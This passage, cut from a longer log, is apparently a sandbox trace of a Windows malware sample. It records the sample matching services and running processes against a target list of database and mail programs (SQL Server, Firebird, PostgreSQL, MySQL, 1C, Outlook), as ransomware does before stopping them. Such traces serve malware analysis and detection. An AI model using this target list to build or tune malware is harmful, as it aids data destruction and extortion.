(lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.417] lstrlenW (lpString="MMCSS") returned 5 [0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0174.417] lstrlenW (lpString="MpsSvc") returned 6 [0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.417] lstrlenW (lpString="Netman") returned 6 [0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0174.418] lstrlenW (lpString="netprofm") returned 8 [0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.418] lstrlenW (lpString="NlaSvc") returned 6 [0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.418] lstrlenW (lpString="nsi") returned 3 [0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.418] lstrlenW (lpString="PcaSvc") returned 6 [0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.418] lstrlenW (lpString="PlugPlay") returned 8 [0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.419] lstrlenW (lpString="Power") returned 5 [0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.419] lstrlenW (lpString="ProfSvc") returned 7 [0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.419] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.419] lstrlenW (lpString="RpcSs") returned 5 [0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.419] lstrlenW (lpString="SamSs") returned 5 [0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.420] lstrlenW (lpString="Schedule") returned 8 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.420] lstrlenW (lpString="SENS") returned 4 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.420] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.420] lstrlenW (lpString="Spooler") returned 7 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.420] lstrlenW (lpString="SysMain") returned 7 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.420] lstrlenW (lpString="Themes") returned 6 [0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.421] lstrlenW (lpString="TrkWks") returned 6 [0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0174.421] lstrlenW (lpString="UxSms") returned 5 [0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0174.421] lstrlenW (lpString="WdiServiceHost") returned 14 [0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0174.421] lstrlenW (lpString="WdiSystemHost") returned 13 [0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0174.421] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0174.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0174.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0174.422] lstrlenW (lpString="Winmgmt") returned 7 [0174.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0174.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0174.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0174.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0174.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0174.422] lstrlenW (lpString="WPDBusEnum") returned 10 [0174.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0174.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0174.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0174.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f4478 | out: hHeap=0x300000) returned 1 [0174.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0174.423] Process32FirstW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.424] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.424] lstrlenW (lpString="System") returned 6 [0174.424] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0174.424] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0174.424] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.425] lstrlenW (lpString="smss.exe") returned 8 [0174.425] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0174.425] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.425] lstrlenW (lpString="csrss.exe") returned 9 [0174.425] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.425] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.425] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0174.425] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.426] lstrlenW (lpString="wininit.exe") returned 11 [0174.426] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0174.426] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0174.426] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.426] lstrlenW (lpString="csrss.exe") returned 9 [0174.426] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.426] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.427] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.427] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.427] lstrlenW (lpString="winlogon.exe") returned 12 [0174.427] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.428] lstrlenW (lpString="services.exe") returned 12 [0174.428] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.428] lstrlenW (lpString="lsass.exe") returned 9 [0174.428] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.428] lstrlenW (lpString="lsm.exe") returned 7 [0174.428] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.428] lstrlenW (lpString="svchost.exe") returned 11 [0174.429] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.429] lstrlenW (lpString="svchost.exe") returned 11 [0174.429] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.429] lstrlenW (lpString="svchost.exe") returned 11 [0174.429] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.429] lstrlenW (lpString="svchost.exe") returned 11 [0174.430] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.430] lstrlenW (lpString="svchost.exe") returned 11 [0174.430] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.430] lstrlenW (lpString="audiodg.exe") returned 11 [0174.430] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.430] lstrlenW (lpString="svchost.exe") returned 11 [0174.430] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.431] lstrlenW (lpString="svchost.exe") returned 11 [0174.431] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.431] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.431] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.431] lstrlenW (lpString="taskhost.exe") returned 12 [0174.431] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.432] lstrlenW (lpString="svchost.exe") returned 11 [0174.432] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.432] lstrlenW (lpString="dwm.exe") returned 7 [0174.432] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.432] lstrlenW (lpString="explorer.exe") returned 12 [0174.432] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0174.433] lstrlenW (lpString="3G6885.exe") returned 10 [0174.433] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.433] lstrlenW (lpString="reader_sl.exe") returned 13 [0174.433] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.433] lstrlenW (lpString="taskhost.exe") returned 12 [0174.433] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0174.434] lstrlenW (lpString="rundll32.exe") returned 12 [0174.434] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0174.434] lstrlenW (lpString="dinotify.exe") returned 12 [0174.434] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0174.434] lstrlenW (lpString="dllhost.exe") returned 11 [0174.434] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0174.435] lstrlenW (lpString="3G6885.exe") returned 10 [0174.435] Process32NextW (in: hSnapshot=0x348, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, 